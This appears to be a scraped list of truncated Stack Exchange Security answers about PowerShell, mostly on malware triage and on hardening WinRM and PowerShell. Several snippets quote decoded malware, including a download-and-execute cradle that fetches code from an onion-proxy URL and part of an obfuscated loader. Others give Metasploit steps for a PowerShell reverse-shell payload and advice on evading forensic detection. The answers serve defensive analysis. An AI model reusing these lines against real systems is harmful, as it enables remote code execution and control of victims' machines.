106

Short version The attacker is able to run any PowerShell commands on your machine and can be found by getting the owner of "ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com". Long version I dumped the binary array into a file and uploaded it to VirusTotal. The newly launched file seems like an additional stage to me since it is really small (1.7 ...


43

Short version Your machine is compromised and the attacker still controls your computer. Long version By decoding the base64 encoded expression (the string passed in the -Enc argument), you obtain the code that is executed by PowerShell: [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} iex (New-Object Net.WebClient).DownloadString(...


12

It is not possible to determine whether Linux is more secure than Windows or vice versa. Turing completeness is not a security metric that can be used to objectively compare to what degree two systems would be considered secure. Given the architectural differences between them, Linux and Windows are incommensurable abstract constructs in the context of ...


11

It decompresses just fine for me... I converted the Base64 string into binary, then ran gunzip on it (I am using a Linux system here). This results in another piece of PowerShell that does things which can only be considered as definitely fishy. It contains a piece of 450 bytes, that it loads into (native) RAM, and runs as code. I am way too lazy to ...


10

It is running a Powershell script with Base64 encoded Powershell code. This is the decoded Powershell code that is being run: [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} iex (New-Object Net.WebClient).DownloadString("https://lc25qj2gdcaidarc.onion.to:443/LeTrWHzIq") So this script is downloading and invoking the content from ...


6

While I'd recommend following ekaj's suggestion and trawling your logs to be sure, it sounds very suspicious to me. If you have allowed automated updates, it is possible that this was part of an update script...but usually updates present quite formalised user information. Safest bet is to assume the worst - and wipe it and rebuild. A Powershell running as ...


6

"Security holes" I think is a bit subjective. You need local administrator credentials to connect to WINRM. It does increase the attack surface of the system, and it is disabled by default because it's not one of the top n services used by most administrators. WINRM uses SOAP (WCF), which uses HTTP.sys, which makes it a prime target for attack. Is it ...


6

Posting this in an answer, because it's too big for a comment: I don't know what it does (though it does look sketchy) but here's the expansion. It's a PS script itself, of course: function t2Mj { Param ($hVrV8B2fWj, $zfOqpP8) $mJnysoxSPX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_....


4

From here (em mine): What is the PowerShell Execution Policy? The PowerShell execution policy is the setting that determines which type of PowerShell scripts (if any) can be run on the system. By default it is set to "Restricted", which basically means none. However, it's important to understand that the setting was never meant to be a ...


4

As with all scenarios it depends on what you are protecting against. Generally speaking, its not wise to host administrative endpoints on public networks. In other words change the site to not be accessible on the internet. Second, some people have problems with domain-joined servers on the internet. If its breached, then attackers have access to your ...


4

Here is an incomplete list of security-related items I discovered: Be aware of new defaults WinRM used to run on ports 80/443 in Vista and Longhorn. That has changed to port "5985" and "5986" recognized by IANA as the new management ports (more info bottom of this page) Helpful commands The command winrm g winrm/config lists most of the WinRM ...


4

Try “cert:” PsDrive This here will be human readable. And (thanks to the semicolon as the delimiter) it will also open nicely in Excel: dir cert: -Recurse | where {$_.subject -ne $null} | where {$_.subject -eq $_.issuer} | Export-Csv -NoTypeInformation -Encoding UTF8 -delimiter ';' -path selfsignedcerts.csv Further reading Great blog on this: https://...


4

I think your issue is about the concept behind malware. A malware is a software that does more than you expect it to do. Or a software that does what you don't want it to do. If I make a piece of software that deletes everything on my computer, it's not a malware, it's legit, I want that to happen. If I give it to a friend and tell him : Hey check out this ...


4

First of all, the AES symmetric encryption algorithm (which ConverTo-SecureString seems to be using) is definitely not "one-way". You can always recover the plain password if you have the key, otherwise even the suggested sample wouldn't work. The source of your problem seems to be that this sample code looks like a serious misuse of the PS/.NET API. The ...


3

You'll need to update your Group Policy administrative templates (the best way to maintain this is to have a centralized ADMX template store on your DCs). Download the most up to date templates from here: https://www.microsoft.com/en-us/download/details.aspx?id=48257 The installer will just create a file structure of the current ADMX templates for windows -...


3

Use the Metepreter PowerShell Extension. In this case, your PowerShell will run in-memory without shelling out. If you shell out, then cmdscan or consoles in Volatility or Rekall (or any similar technique, which every EDR and DFIR tool utilizes) will flag the process space and deliver obvious results of compromise.


3

Leaving aside any question around IIS security. Powershell web access, from what I've seen of it, has a pretty secure default set-up (not to say that it can't be used in an insecure fashion). It's accessed over an encrypted connection, uses domain credentials and in addition has it's own authorization setup which restricts what machines can be connected to ...


3

This is Microsoft's version of a SSH server (conceptually, not exactly -- the exact Unix equivalent is Shell In A Box). There is nothing scary there, as long as you trust Microsoft for not botching the implementation (but relying on SSL, thus on existing implementations of SSL, is a smart move). The bit about using a Web browser could prove a bit risky, ...


3

If you have the malware executable / exploit / doc with macro / ... , then what you want to ensure is that nobody opens it. For this it is enough if you remove the extension. Anyway a good way to store samples is e.g.: a password protected .zip file with the password 'infected'. If you don't have the sample yet, then yes, disable its connection for sure (...


3

Turing completeness does not mean you can do everything. It means any program is expressible in the language. It does not mean that the underlying system will actually allow that program to do what it is expressed. For instance, in Linux, a user level program (ie, not root), can indeed express and run "rm -rf /" to remove everything on the computer. However,...


3

From a security perspective there is no issue, aside from maybe an awareness problem (e.g. users being taught to execute scripts they might not understand). Do note that most computers may not allow the execution of PowerShell scripts by default, it is something that must be enabled. One thing to note: how does it actually email all of those things back to ...


3

That seems to be a pretty-good start. ConstrainedLanguageMode is a huge deterrent. Maybe add Microsoft ESAE as well as JitJea administration. Force the use of SMBv3. Eliminate LM/NTLM. UAC Max. DeviceGuard. Not very user-friendly, but you asked. Perhaps also: https://adsecurity.org/?p=3299 https://adsecurity.org/?p=3377 https://www.cisecurity.org


3

Checking the domain and it's siblings on VirusTotal can be useful. According to VirusTotal the parent rblx.dev domain points to an IP (91.195.240.94) which looks like a malware command & control server. So I'd say chances are high your PC has been compromised, and you might want to reimage it entirely (particularly as whoever dropped the scripts has ...


2

I would look on MsDN and support.microsoft.com for any IIS vulnerabilities first since IIS is usually the target du jour for hackers. Then look for the PS module specifics to check if they are screwed up after a recent update or something esoteric -- I would be wary of Unicode and any of the larger character sets -- have him point you to the KB ...


2

First, you didn't specify if this is for servers or for desktops. But I'll assume servers for the moment. To directly address the logging aspects of PowerShell logging... Yes, it can log cmdlet calls. I believe 3.0 and above do this with the right GP settings. Secondly, event logs aren't encrypted and ACL's to them are easily modified. So I personally ...


2

ESET Smart Security is powerful against malware such as meterpreter because it analyzes the behavior of the application after it is executed. Using heuristics, it flags certain behavior or actions as suspicious. It then terminates the process and blacklists the application. That could be the reason why it was executed successfully the first time but not ...


2

.\test.ps1 is a relative reference to a file in the current subdirectory. There is no way that I am aware of to change how the OS will treat that path reference via a PS profile. Note that if your batch file is located in the system path, and it is invoked from a directory other than the one where it is located, the .\test.ps1 reference will fail. In ...


2

If you have a meterpreter session already, put it into the background with background. Then do: use exploit/windows/local/payload_inject set payload windows/powershell_reverse_tcp set session <id of session> set <other options you may need> run Then you will have a Powershell session alongside the meterpreter. It's still not perfect (no tab ...


2

Yes you can use up to AES 256 as mentioned here. ConvertFrom-SecureString and ConvertTo-SecureString have two parameters that you can use to change the default behavior. These parameters are –SecureKey and –Key. The –SecureKey parameter takes a SecureString object and the –Key parameter, a byte array (Byte[]) You use –SecureKey with a ...


2

As Anders pointed out that there's duplicate, it doesn't well cover your case which differs in a way that it's not key for encryption but password for API. You can use another web service which would be serving one-time passwords, it could work this way: Your Python script from server A connects to server B which is "password server" You send credentials ...


Only top voted, non community-wiki answers of a minimum length are eligible